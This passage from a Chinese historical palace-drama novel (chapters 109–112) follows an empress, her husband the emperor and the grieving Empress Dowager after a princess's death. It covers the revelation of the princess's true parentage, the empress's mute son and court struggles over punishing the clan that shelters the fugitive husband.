她不能阻拦段知妘,至少不能在这件事上与她作对。段知妘连女儿最后一面都没有见到。她赶回来的时候,辉儿就躺在那里,那么瘦弱,那么小的一个人,肚子却仍旧高高隆起。段知妘什么都没说得出来,进门的时候就先摔了一跤。所有的人都抢上去扶她,但她胡乱地伸手拨开了他们,就这样跌跌撞撞地往前,险些摔到女儿的身上。明绰看见她摸了摸女儿的脸,然后是手指。她张开嘴,一点儿声音都没有,神情却好像经受着这世上最痛苦的折磨。明绰不忍地转过脸,听见背后传来了一声撕心裂肺的痛号。
那不是人能够发出来的声音,那是一个母亲在一瞬间被碾碎成千万碎片,又不能如愿死去,只能化作行走人间的厉鬼,才叫得出来的声音。明绰以为她看到段知妘的痛苦会觉得快意,但那一瞬间,她只觉得万箭穿心。
晔儿也病了。一开始,明绰还想瞒着他,但很快,宫里笼罩着的愁云惨雾就飘到了乌兰晔的头顶。
知道小姑姑死讯的那个当下,他平静到了可怕的地步。明绰还以为他过分淡漠的心性也许能保护他,然而事实证明,这种平静是不正常的。乌兰晔当晚就无缘无故地发起了烧,病到半夜又像是疯魔了一样大哭大叫。叫来的太医无计可施,只说小孩子受到了太大的惊吓,没有什么办法。明绰衣不解带地连日照料,连乙满抵达了长安她都没空去见。
乌兰徵已经无心再处理北镇的叛乱,一并丢给了乙满让他负责。羽林军日日夜夜在长安和周边地带挨家挨户地搜寻贺儿冲的踪迹,然而始终一无所获。
今日本该是云屏公主的丧仪,该为公主封棺椁,择地停灵——她太年轻了,根本还没有给她准备陵墓。皇后下了旨,给了公主最高的礼制,为她专门修皇陵。等修好了陵墓,再将公主好好下葬。
但是太后不允许就这样办丧仪,不抓到贺儿冲,她绝不肯为女儿封棺。她要把贺儿冲按照西海人的旧俗制成干尸,挖空内脏,裹满布条,摆成屈膝请罪的姿态,永生永世地跪在公主棺椁前……她就这样哭着,闹着,诅咒着,最后皇后不得不妥协,暂停了一切的丧仪。
明绰可以体谅她的心情,可是她的要求太过了。贺儿氏终究是乌兰亲族之首,别说是制成干尸,就连要贺儿冲偿命,朝中都有的是人反对——公主毕竟是流产而死嘛,女子产育,这样的事情也不足为怪,如何就认定是贺儿冲凌虐致死呢?贺儿氏这样的勋贵,总不至于为了这点事就喊打喊杀的,那多叫人寒心?北镇的叛乱可还没有平呢,军户们因何造反,陛下难道还没个成算吗?
就连乌兰徵,也只是想抓住贺儿冲,没想过真的牵连贺儿氏全族。
明绰想了又想,还是不放心地起了身:“我去看看。”
她知道今日库莫乞也在剑器阁,本以为到的时候,会听见不受控制的哭闹和谩骂。然而殿中只有一片出乎她意料的寂静,乌兰徵那些从各地搜罗来的宝剑仍旧整齐而威严地摆在各自的架子上,剑鞘和剑柄上的各种宝石像一只只眼睛,沉默地凝视着殿中所有人。明绰被这意外凝滞的气氛惊住,一时停在了门口。
没有人看见她来。库莫乞跪在边上,听见了脚步声,怀疑地朝门口侧了侧脸,但依旧保持了沉默。段知妘也跪着,一身素缟,披头散发。乌兰徵在她面前,俯着身,扶着她的肩膀。
段知妘抬头看着他,难以置信似的:“你说什么?”
她脸颊上涂了血,是乌兰一族矢志复仇的时候会抹的纹面。当年乌兰徵为了报父亲的仇,远征西海时,就是太后在阵前割开了自己的掌心,以鲜血为他涂面,以壮军心。乌兰徵似是被她脸上的血迹刺痛,低下头,果然看见她掌心又是一片血肉模糊,她甚至没有包扎一下,伤口已经凝出了一层触目惊心的血痂。
乌兰徵闭上了眼,似是心有不忍,没有把贺儿库莫乞的指控说第二遍。
“母后还是回去吧。”
但是段知妘一把摁住了他的手,声音发着颤:“陛下是什么意思?”
乌兰徵摁着她的手,牙关咬得紧紧的。段知妘突然回过头,看见了站在门口的明绰。她像是突然明白了什么,失控地大笑了一声:“这么多年了,你偏偏现在告诉他?!”
明绰不明所以地看着她:“什么?”
段知妘不理她,仍是纵声大笑。乌兰徵直起身,看着她,恍然的语气:“真的是你?”
“是我又如何?”段知妘抬起头看着他,眼中露出穷途末路的疯狂,“所以呢?你就不肯替辉儿报仇了?”
明绰明白了过来他们在说什么——但是怎么会呢?这念头只是在她心里闪了一下,她的视线便落到了库莫乞身上,一瞬间什么都明白了。
“好!都是我的错。”段知妘二话不说,转头就朝向明绰,“是我罪大恶极!我死不足惜!要杀要剐,皇后随意处置!”她一边说,一边膝行着朝明绰前行,乌兰徵立刻上前一步,要把明绰护在身后。段知妘见状僵了一下,然后她突然起了身,飞快地把离她最近的一柄佩剑拔了出来。乌兰徵刚刚戒备起来,就看见她反手握剑,剑刃朝着自己,把剑柄硬是塞进了乌兰徵的手心。
“那就杀了我!”她睁大了眼睛,“来啊!杀了我!替萧明绰出气,这样你心里能痛快了吗?你可真是天下最好的夫君哪,她嫁给你真是三生有幸,满意了吗!”她疯了一般,咄咄逼人地靠近乌兰徵,脖子上的青筋一根一根地绽出来,“我认!我全认了!够了吗!能替辉儿报仇了吗!”
乌兰徵紧紧握住剑柄,控着力道不让她伤了自己:“朕没说不替辉儿报仇……”
段知妘的手指像利箭一样,一下指向了跪在一边沉默不语的库莫乞:“那你现在就杀了他!再杀贺儿薄!贺儿冲一日不现身,你就杀他们家一口人!”
“此事是贺儿冲一人所为……”
“他们把凶手藏起来了!”段知妘一把抓住了剑刃,不顾新的伤口又流出血,喊得声嘶力竭,状若疯癫,“他们都有罪!我要他们全都死!”
库莫乞叫道:“陛下!”
明绰几乎在同时喝断了他:“你住口!”
段知妘又神经质地“哈”了一声,好像觉得这场面荒唐得可笑。她已经分不清楚谁站哪一边了,她只是笑啊,笑啊,笑到胸口剧痛,让她发不出声音,只能攥着襟口,发出喑哑难听的嘶叫。
乌兰徵上前一步,把佩剑从她手里夺了过去。那动作撕裂了她掌心的伤口,段知妘不笑了,她低头看着自己的掌心,好多血,好像她的辉儿躺在那里,衣裙上都是洗不干净的血。
乌兰徵不肯看她,只是扬声叫人,要人把她送回去。段知妘抬起手擦了一把眼泪,她知道她脸上那些血迹肯定已经被眼泪冲得一塌糊涂了,她现在就是个疯子,而萧明绰就站在那里看着她。她曾经宁可死都不愿意在萧明绰面前输得这么难看,所以此时此刻,这是她的报应吗?
“乌兰徵。”她突然叫他,看着他转过脸来,“为了一个异母妹妹,不值得搭上整个贺儿氏,合情合理,好……”段知妘笑了笑,听起来像是突然恢复了神智,“那如果是为了你的女儿,值不值呢?”
第110章
仿佛突然被投入了水中,明绰只听到耳边“嗡”的一声,一切都模糊了。所有人的动作都突然变得很慢。贺儿库莫乞张大了
嘴,乌兰徵先看向了她,神情那样慌张,失措,然后变成一种恼羞成怒,又转回去。明绰听见乌兰徵很大声地吼了一句“你撒谎”,但是她只能根据乌兰徵的神态来推测那一定很大声,实际上,她什么都没听到。
但是段知妘的声音还是穿透了她不情愿的抵抗,一字一句,清清楚楚。
“不要说你从来没有怀疑过辉儿是你的女儿……乌兰徵!”有人扑了上来,想摁住发疯的太后。明绰竟然在那一瞬间还是下意识地替乌兰徵想,让他们都下去,此事不能让别人知道……可是她张开嘴,发不出声音。只有段知妘还能发出声音,不管不顾地,呕出十几年的秘密,“你明明知道!可你装聋作哑!我也陪着你装聋作哑,十五年!”
段知妘猛地挣开了摁住她的宫人,往前一扑,乌兰徵下意识地退了一步,段知妘跪下来,一把抱住了他的腿:“现在她没了,我们的女儿没有了!十五年了,她没有叫过你一声阿耶,你要替她报仇啊!”
“不……”乌兰徵只想挣开她,“辉儿是我的妹妹,你……你明明说过……你发过誓……”
“当年先王尚在,你要我怎么敢承认?”段知妘哭得肝肠寸断。乌兰徵看起来那样无措,明绰看在眼里,如同灭顶之灾。
“你满口都是谎话,为了目的不择手段,”乌兰徵还在摇头,“我不信你……”
“辉儿生在太始二年的五月,你自己算!”段知妘说得斩钉截铁,“你父亲登基以后就一直病着,你不记得了?你若是心里没有怀疑,何故要来逼我发誓!我不过是说了你想听到的话……”
明绰往后退了一步,她想走,可是她动不了。乌兰徵抬起头看到了她,他似乎想伸手来抓住她,可是他的腿还被段知妘抱住。
“你说我骗你,利用你,心里从来没有你……”段知妘哭得凄凄惨惨,“若我心里真的没有你,我怎么敢做这种事?若是被你父亲发现,我哪里还能有命在?我何曾对别人有过这样的心?这么多年我守口如瓶,要是辉儿没有出事,我也不会……”
若不是时机不对,明绰几乎要为段知妘拍手叫好了。她以为她疯了,被失去女儿的痛苦逼得没有了理智,可到了这地步,她还是能反手就拿出这样一套话来——不是才说乌兰郁弗当时已经病了很久了吗?她还怕什么?有什么危险可言?愿意为乌兰徵生一个孩子就是心里有他了?段知妘是这种女人吗?这明明是只有男人才会相信的话。可是她就是能脸不红心不跳地这么说出来,打得乌兰徵措手不及,毫无还手之力。
他还是在她的手掌心里。那几根线埋得好深啊,明绰以为已经全被她切断了,可是段知妘的手一动,那几根线就从乌兰徵的骨血里破体而出,牵动他的所有心绪,切碎明绰十年的举案齐眉。
她就在这个时候听见了殿外的动静,好像什么人吸了一口冷气,轻得像一个幻觉,但她心里就是猛地坠了一下。明绰两步走出去,正看见晔儿的衣角一闪,背影沿着台阶飞快地往下落,像一片飘落的叶子。
“晔儿!”明绰叫了一声,再也不顾殿中都在闹什么,拔足狂奔,想追上他。可是乌兰晔跑得太快了,等明绰跟着下了台阶,早已不见了儿子的踪影。
那一天,明绰几乎将整座长安宫城都翻过来,也没能找到乌兰晔。
在内心的某个角落,明绰庆幸晔儿突然跑丢了,让她没有时间去细想在剑器阁听到的那些话。她有意不去知道后来发生了什么,乌兰徵是怎么回应的,库莫乞知道了这样的秘辛,又会怎么办——明绰不在乎了。
她质问了长秋殿的宫人,皇长子还病着,怎么能让他就这样跑出去,还一路跟到了剑器阁,但这于事无补。她又召来了冯濂之,让他带着她去上一次找到晔儿的地方。那是一处废弃的殿宇,离原来泰赤哈氏的住所不远。前梁城破的时候,羌人把宫女们都逼到此处,许多人被凌虐至死,后来这里就有了闹鬼的传闻,从羌人历代皇帝到后来的乌兰氏,全都把这殿宇锁着,唯独墙角有个洞,小孩儿能爬进去——这里应该是云屏公主从前和皇长子常常一起逃避旁人的地方,冯濂之也是从他们说漏的只言片语里猜到的,所以上次一找一个准。
但这一次,乌兰晔也不在这里。直到天快黑了,才有宫中福安塔的人来报,说皇长子躲在云屏公主停灵处。
明绰一路小跑着过去,发现乌兰晔缩在了棺椁后面的香案下,香案上有织锦帷幔,但遮不住他的脚,他还是自欺欺人地躲在里面。好几个人围着劝,可是说什么他也不肯出来。直到明绰屏退左右,小心翼翼地掀开织锦帷幔,才看到他蹲在那儿,哭得上气不接下气。
明绰一颗心都要揉碎了:“晔儿……”
她张开了手,怕吓着他似的。乌兰晔哭得浑身发颤,不知道是因为发烧还没退,还是香案下面太闷了,他整张脸都红得异样,好像随时要晕过去。明绰看到他这样,也没忍住落了泪。
她不知道还能说什么,不知道能怎么宽慰她的孩子。他才刚刚失去了最重要的亲人,朋友——在他尚且短暂的人生里,唯一从来没有利用过他,伤害过他,始终真诚地爱着他的人。现在一切都颠倒了过来。为什么是这样残忍的方式让他知道呢?明绰甚至不知道自己该如何面对这件事,所以她也只能哭。
乌兰晔就这样看着母亲落泪,不知道什么时候自己平息了下来。然后他从桌子底下钻了出来,双膝着地,小心翼翼地爬进了她的怀中。
“娘。”他小声地叫了一声。无措地被抛在了这人世间,只能抱住母亲。明绰摸着他的后脑,任由他贴在自己的颈窝里,突然生出一股力气,狠狠地抹掉了自己的眼泪,抱着他站了起来。
从那一天起,乌兰晔再也不说话了。
明绰刚回来的时候,他对母亲戒备抗拒,不愿意跟母亲说话。但这一次他彻底没有了声音,不管是谁跟他说话,他要么点头摇头,要么干脆发呆。与之前不同的是,他突然展现出了对母亲的过分依赖,明绰一刻也不能离开他的视线,哪怕是他睡着了,只要明绰一离开,他就在梦魇中哭着醒来。
乌兰徵来过两次,可能是三次,明绰记不清了,她不想去记这个。她记得他最后一次出现在长秋殿的时候,就坐在离她不远的地方,拉着她的手,一遍一遍解释,“那是很久以前的事情了”,可她满眼只有晔儿睡梦中都皱紧的眉头。
“我知道。”明绰把手抽出来,“你从西海回来的第一晚,我就知道了。”
乌兰徵像是被她迎面打了一巴掌:“你知道……?”
“那天我就在长霄殿的窗外。”这一幕在她心里埋了这么多年,她自己都没想到有一天会这么轻描淡写地说出来,“我看见你把她抱在怀里,看见你的手伸到她裙下……”
乌兰徵闭上眼睛:“别说了。”
但是明绰不想停下来:“我也知道辉儿是你的女儿。”
“你怎么可能……”
“我就是知道。”明绰跟他赌气似的,“我见她第一面就问她,是不是你的女儿。她一看就是你的女儿,你感觉不出来吗?”
乌兰徵沉默地看着她,可是明绰有意避着他的视线。她的手里轻轻摇着一柄绢扇,给睡梦中的孩子打风。所以她只看着孩子,好像她的全世界只有孩子。
“我不在乎,”她对乌兰徵说,“十一年前我不在乎,以后我也不会在乎的。”
可她的语气一点都不像是不在乎。乌兰徵看了她很久,直到眼眶发红:“明绰,别这样。”
明绰只当没听见:“陛下准备如何处置贺儿氏?”
一片意料之中的沉默。明绰终于转过头,看了乌兰徵一眼。她露出了那样了然而又苦涩的微笑,好像知道这个问题其实连问都没有必要。
他不会对库莫乞下手的,因为他重情重义。好吧,乌兰徵就是这点儿好,不是吗?不然皇后也不可能到今日的地位。明绰这段时间都被晔儿困在了后宫,但她不需要上朝就知道是什么情形。乙满回来了,北镇的叛乱还没平息,七姓在长安盘根错节,还有其余诸部的西海权贵们同气连枝,他们不会眼睁睁看着贺儿氏倒台的。
贺儿冲始终不出现,乌兰徵的气快要消了——如果他真的也有那样生气过,那样痛过。无论段知妘怎么发疯,做不到的事情就是做不到。云屏公主的棺椁就那样一直停在福安塔,太后不肯封棺,唯一的后果就是尸臭逼人,现在除了段知妘自己,已经没人敢去那个地方了。
乌兰徵突然问了她一句:“为什么这么多年,你从来不告诉我是她?”
明绰想也没想地反问他:“告诉你有什么用?”
对此,乌兰徵什么都没有说。他被刺痛了,明绰知道,但她不在乎。她好像正紧紧捂着一个伤口,无声地血流成河,所以她也要刺痛他。这解决不了任何问题,但她能稍微好过一点。段知妘又一次害了她的孩子,晔儿不知道什么时候才能再开口说话。乌兰辉是谁的女儿有什么要紧的,为什么要这样伤害她的孩子。可她也不明白,不理解,想不通,为什么她恨段知妘已经恨到如此地步,一想到她现在正守在福安塔里,眼看着女儿一点点烂掉,明绰还是觉得痛不欲生。
乌兰徵离开了,明绰甚至没有在意他是什么时候走的。一个月之后,在乌兰徵的强令下,云屏公主封棺,梓宫被移至西觉寺权厝。
太后受不了这个刺激,都说,她
疯了。陛下把太后送去了远离长安的承天寺养病,因为她一意孤行不肯封棺,对云屏公主的尸身造成了巨大的破坏,所以太后现在连在西觉寺陪伴女儿的资格都没有了。
贺儿冲始终没有下落,他的通缉令一直挂着,但也就是挂着,贺儿氏并没有受到太多影响。就在朝中的西海权贵们以为公主的死就要这样被轻飘飘地翻过去的时候,皇后突然传令洛阳,命尚书台左仆射方千绪、尚书郎萧俭、散骑常侍郗芳等三十几位要臣领旨,奔赴长安。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
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第111章
乌兰晔轻手轻脚地走进长秋殿,看见的便是母亲撑着半边脸,手肘撑在桌上,已经睡着了。这样睡不安稳,她的头一点一点的,鬓上一根步摇便晃啊晃啊,眼看着就要从鬓上松脱,乌兰晔眼疾手快地抓了一把,没让步摇落到桌上,发出动静。明绰还没醒,桌上是摊着的公文,乌兰晔好奇地看了一眼。明绰从来不忌讳他看这些,甚至鼓励他多看,但他瞥了一眼,只看到了“贺儿”两个字,就像被烫到一样,立刻移开了视线。
殿中没人来伺候,正是午后,想必都在躲懒。倒是桌上摆了几个匣子,乌兰晔早上出去上课还没看见。乌兰晔把最上面的盒子打开,只见浮光绸缎上托了一串七色琉璃串珠,在阳光下闪烁出摄人的光泽,饶是见惯了好东西的皇长子殿下也没忍住轻轻地“哇”了一声。
“你喜欢?”
乌兰晔猛地转回头,看见母亲不知道什么时候醒了,看了一眼放在桌边的步摇,就知道怎么回事儿了似的,笑着把它插回鬓上,一边叫人进来:“那串珠留下,其余的送回去吧。”
乌兰晔一听“送回去”就知道肯定是父皇送来的了。这两天是各地的贡品到长安的日子,乌兰徵照例把珍稀都先送来给皇后挑。但母后不稀罕,他也要表个态度,二话不说把那串珠也放了回去。
明绰看他一眼:“真的不要?”
乌兰晔摇了摇头,很小声地说了一句:“女子之物。”
他就看看。
明绰笑了笑,自己看也不看,让人把串珠也一起收起来,麻溜地送回去。乌兰晔现在还是不怎么开口,出去上课都只“笔谈”,冯濂之是不敢说什么的,就方千绪无法无天,跑来跟皇后抱怨过,说给皇长子上课上得腕子都疼了——唯独最近开始,在长秋殿里,他才愿意跟母亲和贴身的宫人们说话。
在明绰看来,这比什么七彩琉璃珠都宝贵。
当初皇长子想在莲子汤里给皇后下毒,气得乌兰徵烧了立太子的诏书,事情虽然被明绰一力压下来了,但皇长子口不能言,显然比德行不好更不能被立为太子。再加上明绰现在冷着乌兰徵,这事儿就一直耽搁着,没人提了。
好在如今母子感情比往日好了太多,明绰很有信心,觉得晔儿很快就能跟从前一样说话。
果然,乌兰晔看着宫人们把贡品都拿下去了,又开口说了一句:“方先生来了。”
明绰一抬头:“怎么不早说!”
“他能说就不错啦!”方千绪一边笑一边从殿外进来,“濂之说殿下回来了就会开口,就是得躲起来才能听着,哎哟,叫我好等!”
乌兰晔有些羞赧地笑了笑,他知道此人是母后最重要的心腹,其实也挺熟了,但就是在他面前还是开不了口说话。明绰也不勉强,任方千绪调侃了一句,就让秋桑来把皇长子带下去,一边给他看座。
方千绪坐下来,眼神倒好,一眼就看见明绰桌上摊开的公文,立刻很嫌恶地“噫”了一声。
他不用细看就知道那是谁上的书。尚书刑部郎中羊虔——这名字听着挺简洁,其实是个不折不扣的西海人。他原名说起来有七八个音节那么长,太复杂了,为入仕方便,才取了头一个“羊”字。
此人出身不算高,说起来也是尚书台的人,但一直留在长安,没得到重用。最近突然步步高升,只因他给贺儿库莫乞献了一策。羊虔提出,云屏公主是流产死的,不是被打死的。那么杀她的就不是贺儿冲,而是她腹中的胎儿。贺儿冲的罪,不过是杀死了自己尚未出生的孩子。根据大燕律法,父杀子,若是无心之失,甚至可以判无罪。
贺儿冲已经畏罪潜逃小半年了,贺儿氏一开始还摆出了一点儿知道错了的姿态,到如今已经是越来越不加掩饰。
还好明绰调了自己的人回来。当日羊虔在殿上大放厥词的时候,方千绪马上就反驳,既然认定贺儿冲杀的是云屏公主腹中那个儿子,那个孩子是不是公主的儿子?公主的儿子是不是皇亲?这还是按照杀皇亲治罪,可以算他贺儿冲谋反哪!
明绰现在想起来还是佩服,摇摇头把羊虔的公文扔到一边,叹道:“你反应可真是快。”
她在当时都被气懵了,张嘴只能骂一句“无耻”,哪有方千绪这等急智。
方千绪摇了摇头,只道:“臣不敢居功,其实羊虔这一策,濂之早已告诉臣了,臣也是有备而来。”
“他已经提前知道羊虔要说什么了?”
“知道。”方千绪隐晦地朝她眨了眨眼,“他与大司马还是有几分交情。”
明绰就“哦”了一声,没说什么。
冯濂之出身齐木格府上,乙满以前拿他当成自己人。汉学被取缔了以后,冯濂之现在的官阶虽然只有六品,但毕竟是皇长子的老师。这样的人,乙满只会跟他攀旧情,不会与他为敌。
冯濂之此人也颇有些厉害,他为官这么多年,看起来一点儿往上爬的野心都没有,但厉害的就是他既没有朋友,也没有敌人。好像忠于皇后,但又始终若即若离,甚至不肯去洛阳。
明绰琢磨了一番,突然道:“那看来乙满也不是跟贺儿氏一条心。”
方千绪嗤笑一声:“他们几时真的一条心过?”
“对付我的时候啊。”明绰自嘲地回答,刚说完,自己先笑了。
方千绪也笑,只道:“乙满是个聪明人。”
明绰点了点头,对此表示认同。
乙满比当年的齐木格更聪明。乌兰徵收军权收了这么多年,他依然是掌全国兵马的大司马,屹立不倒。贺儿库莫乞有的是出身,和跟乌兰徵从小一起长大的情分,这些乙满都没有,所以他更知道审时度势。贺儿库莫乞太自以为是了,他以为凭借自己跟乌兰徵的交情,还能保他那个混账弟弟,在乙满看来跟自杀没什么区别。
长安的乌兰七姓鼻子都长在头顶,乙满这辈子都没被他们放在眼里过,没必要跟他们一起死。
皇后召乙满来,是为了平北镇叛乱,他就眼睛只盯着这一件事。原本定死了抓到贺儿冲就要处死,现在贺儿库莫乞想方设法地要翻案,大半个朝廷都掺合了进来,乙满倒是高高挂起,一句话也不表态。
“乙满最近还做了一件事,”方千绪敛了敛袖子,呈上了一份文书,他今日来见皇后就是说这个的,“他调回了一批在北镇守了多年的将领。”
明绰看也没看:“我知道。”
这事儿是乌兰徵准了的。大燕现在跟贺阆关系缓和了,北镇也就没必要这样风声鹤唳。叛乱平了以后,乌兰徵让大司马提出一个章程来,北镇的军户要重新管理,再让尚书台想办法,迁民北上。年关一过,乙满就先调了一批人回来。戍边多年再加这次平叛有功,回来论功行赏,也是情理之中。
方千绪就又悄悄提醒了一句:“段锐也在其中。”
明绰原本已经持笔蘸墨,闻言顿了顿,墨汁如活物般,顿时从笔尖攀到了软毫末端。不过只是一顿,明绰就笑了笑。
“乙满还没忘了旧怨?”
“若要挟私报复,就该把段锐继续留在北镇,调回来才不对。”方千绪神色有些
严肃,“雍州军不在了,可段太后还在啊。”
“你是让她吓出心病了吧?”明绰抬眼调侃了他一句,然后又收敛了笑容,声音低低的,“你没见到她如今的样子。”
方千绪张了张嘴,似是还想说什么,但终究又闭上了嘴。乙满连贺儿氏都转头就抛,没道理会去跟落难的宿仇同榻而眠,段知妘已经翻不了身了。
对此,明绰也不知道自己应该对此作何感想。乌兰徵对段知妘的残忍是她没有想到的,他是为了跟她证明什么吗?还是愤怒于这十五年段知妘都将他蒙在鼓里?他把女儿的死算在了段知妘头上了吗?他到底有没有在心里认下这个女儿?他有为了错过她短暂的一生而痛苦吗?他真的想要替她讨这个公道吗?她统统都不知道。
那天乌兰徵走了以后,就再也没有在长秋殿留宿过。
皇后的权势并没有受到一丝一毫的影响。她要把人叫过来就叫了,她继续在长安施行当初在洛阳商定的户籍之策,也没任何人从中作梗。到皇后的寿辰、年节,还有上贡的日子,好东西也都是紧着皇后挑,待遇一如既往。
他们不吵架,因为明绰说了,她不在乎,所以他们没有什么可以吵的。晔儿说不出话,乌兰徵也关心过,但明绰冷着他,乌兰晔也只有沉默,他讨了没趣儿,就不来了。明绰又忍不住想,是因为他对那个回不来的女儿愧疚吗?所以他才不在乎这个还活着的儿子了?可是这样想,她心里也难受。她不愿意去跟辉儿争这个风,只是在心里更怨乌兰徵。他对儿子的爱收回得好轻易,却非要说是因为爱她才对晔儿的行为失望。
但她也不吵。
她有的时候回想当年刚怀上晔儿的时候,还能跟乌兰徵那样大吵大闹,还能气得哭一个晚上,都觉得恍若隔世。夫妻做久了,就不会吵,也不会哭了。明绰想,其实她和乌兰徵就一辈子做这样的夫妻,也已经强过很多人了。
但是方千绪看着她,长叹了一声:“长公主啊。”
明绰听到这声“长公主”就翻了个白眼。方千绪年纪上来了,现在喜欢跟她倚老卖老,一旦这么叫她,就说明他又要来谈些私人交情层面的事情了。
果然,方千绪张口就是劝和:“你跟陛下这样下去,不是办法呀……”
明绰头都懒得抬:“他纳新嫔妃了?”
“那倒没听说……”
“那我又没‘失宠’。”明绰刻意强调了后面两个字,“怎么就不是办法了?”
方千绪讨了个没趣,只好闭上了嘴,半晌,只道:“段锐回长安一事,皇后还是不能掉以轻心。”
尚书台虽有兵曹,但将领调任这种事归大司马管,方千绪的手只能伸这么长。
明绰笔尖又是一顿,好像认真地考虑了他这句话,然后轻声道:“跟冯濂之说一声,盯着乙满那边。”
方千绪低头应了一声。明绰把已经批完的上书叠好,又问了一句:“贺儿冲还是没消息?”
“听到些风声。”方千绪很惋惜,“这小子谨慎得很,让他跑了。”
那就是还没抓到。她让方千绪去抓贺儿冲,就是因为他受命在推行新的户籍之策。各地都在重新清点人口,若有逃犯流窜,方千绪会是第一个听到风声的人。
“臣多嘴问一句。”方千绪小心请示,“若是真的抓住了贺儿冲,臣把他……送回来吗?”
明绰抬起头,看了方千绪一眼。
“左公缺那点赏银?”
方千绪立刻低头:“臣不敢。”
“那你送回来干什么?”明绰低下头,继续看公文,说得轻描淡写,但毫无转圜余地,“抓到以后,就地诛杀,无赦。”
第112章
兴和十五年,段锐回到了长安,和他一起回来的还有当年雍州军的十几名旧部。乙满照章办事,论功行赏,将他们调入长安的羽林军中,好像已经彻底忘记了,当年就是段锐带着人冲进了丞相府,把他的养父砍成了七八块。连乌兰徵都夸了乙满一句。朝中上上下下都在给他找不痛快的时候,就衬得乙满办事儿格外靠谱。
明绰自然更加警觉起来,但冯濂之那边一直没发现什么异样。段锐回来之后去过一次承天寺,私下里喝了酒发两句牢骚,愤恨难平也都属于“人之常情”的范畴。等授了新职位,进羽林军领了兵,就再不提及段太后,闲来只顾与同僚喝酒玩乐,看起来已经完全把旧主抛到了脑后。
明绰对此只有一声冷笑:“他倒是在北镇修炼成精了。”
段锐要是去都不去一次,那就演得太过了,反叫人怀疑在藏着什么。但要是一直郁愤难平,难免也被人抓到把柄,于仕途不利。就得是这样恰到好处地念着旧主,又恰到好处地忘了旧主,才显得合情合理。
冯濂之:“皇后若是还不放心……”
明绰打断了他:“行了,别在他身上浪费时间了。”
今春格外流年不利,沿着黄河多地水患,民不聊生。皇后正在推行的户籍新策自然很难继续下去,被损害了利益的各地豪强都抓住机会,疯狂反扑,各地此起彼伏地有叛乱,虽不成声势,但也烦人得很。
长安不比洛阳,不是皇后一个人说了算,朝中也有很多声音,认为皇后这个新策搞得民间管理混乱,水患已经证明了这不是什么好策,再推行下去恐怕要引起国家更多的动荡。明绰这段时间疲于应对,没工夫理会段锐。
冯濂之和方千绪也不一样,他向来是皇后有命他就去办,不怎么主动提意见。明绰既然这么说了,他也就退下,再不提了。
各地一乱,就更加没了贺儿冲的消息。一直拖到过了云屏公主的头一个忌日,乌兰徵旧事重提,羊虔又进言,让陛下下旨宽恕贺儿冲,也许他听到这个消息就会现身了——这次乌兰徵没和稀泥,当庭革了羊虔的职,让他下去领鞭刑。
可是私下里,他也动了心,暗中找方千绪议了一次,这是不是一个诱贺儿冲现身的好办法,先骗出来再杀。方千绪建议还是不要这样做,君王的话代表了律法的尊严,若是言而无信,虽抓到了贺儿冲一个人,伤害的却是国家的威信。乌兰徵只好作罢。
原来他还是想杀贺儿冲的。乌兰晔从明绰这里听说了此事,便愿意主动去给父皇请安了。
皇长子口不能言的病已经基本上大好了,但明绰为了此事一直在心里深怨乌兰徵。他们父子生分便是自当日那碗莲子汤起,明绰心里早已原谅了儿子,便觉得乌兰徵当日随随便便就拔剑,又何尝不伤孩子的心呢?本就是他们做父母的先辜负了孩子。
反而是晔儿觉得,既是他犯下了大错,那就该是他多去向父皇请罪,才能让父皇看到他悔改之意。
明绰听见他这样说话,心中便有些说不
出的不是滋味。如今晔儿对母亲掌权一事已经转变了态度,但就连小孩子也清楚,他权力真正的来源还是父亲。他要谋求太子之位,就总归要对父亲讨好顺从。乌兰徵似乎什么都不用做,就能得到她费尽心血照料和陪伴之下,才从儿子这里得到的温情与体贴。
乌兰晔见母亲不说话,神色也有些惴惴,半晌,轻声道:“都是我忤逆,惹父皇不高兴,我不想母后再为了我跟父皇置气了。”
他说得诚恳,明绰心里便蓦地软了,赶紧把他抱进怀里,安抚地摸他的头发:“你怎么会这样想呢?”
“父皇来过,是我不敬,他才不来了。”乌兰晔声音越说越小,“母后又气他不来……都是我不好。”
明绰一时噎住,没想到他其实什么都知道,不禁懊悔于自己竟把一个孩子想得那般醉心权势。晔儿已经是个没什么童年的小大人了,明绰又有些心疼,又有些欣慰,只道:“不敬就不敬好了,不敬他也不是什么要紧的事。”
“他是父皇……”
明绰一挑眉:“所以呢?”
乌兰晔便也讲不出什么所以来,但满眼都是担心。
“你也不要都揽到自己身上,我生他的气也不是全为了他不来看你,他不来看你也不是因为你不敬他……哎呀!”明绰又笑了一声,“你小小年纪,不要老这么多心事。”
“可是朝中……”
母后这段时间在朝中所受攻讦颇多,父皇会不会废黜皇后?另结新欢?乌兰晔实在操心得太多了,明绰看出了他各种不敢问出口的疑惑,不由笑了起来,捏了捏他的鼻子。
“不会的。”对乌兰徵这点信心她还是有,“朝堂上的事情你也不用担心,这不算什么,母后不怕。”
也就是打打嘴仗,以皇后如今稳固的权势,确实动摇不了什么。
乌兰晔点了点头,看起来似乎放心了一些,但眼睫一垂,又问:“那母后还是为了……小姑姑的事情在生父皇的气吗?”
他顿了顿,有那么一瞬间,他似是在犹豫该怎么称呼。明绰看出来了,喉中便是一哽。好一会儿,她苦笑一般,伸手摸了摸孩子的头发,很坦诚地说:“是,我很生气。但我只是很生气,不是不爱你父皇了。”
“那怎么样母后才能不生气?”
明绰摇了摇头:“我也不知道。”
她是真的不知道。乌兰徵处置段知妘太狠了,她生气。但乌兰徵若是不处置,她肯定会更生气。乌兰徵放过了贺儿氏,她生气,但乌兰徵要是真的连跟贺儿库莫乞这么多年生死相托的情义都不顾了,她也会想,怎么这个女儿在他心里份量这么重呢?怎么当年为了她和她的儿子就做不到呢?——无论她嘴上怎么说,她就是在乎辉儿的身世。
乌兰徵跟段知妘的那段旧情,让她时不时地就膈应一下,膈应了十一年。她可以说服自己放下,可现在知道他们俩还有一个女儿,这就不一样了。辉儿不在了,她永远都不会回来了,明绰甚至被剥夺了仇恨这个孩子的立场。这对她太不公平了。
但这一切都发生在她遇到乌兰徵之前,乌兰徵做什么都不可能改变过去的。所以她有的时候想想,也替乌兰徵委屈,他还能怎么办呢?他也很痛啊。
可是她就是不想再体谅他的痛了。她做了他十一年的妻子,就体谅了他十一年。够了。
她只能等。等时间抹去她的愤怒,等原谅自然地降临,并且假装坚信,这份原谅一定会降临。
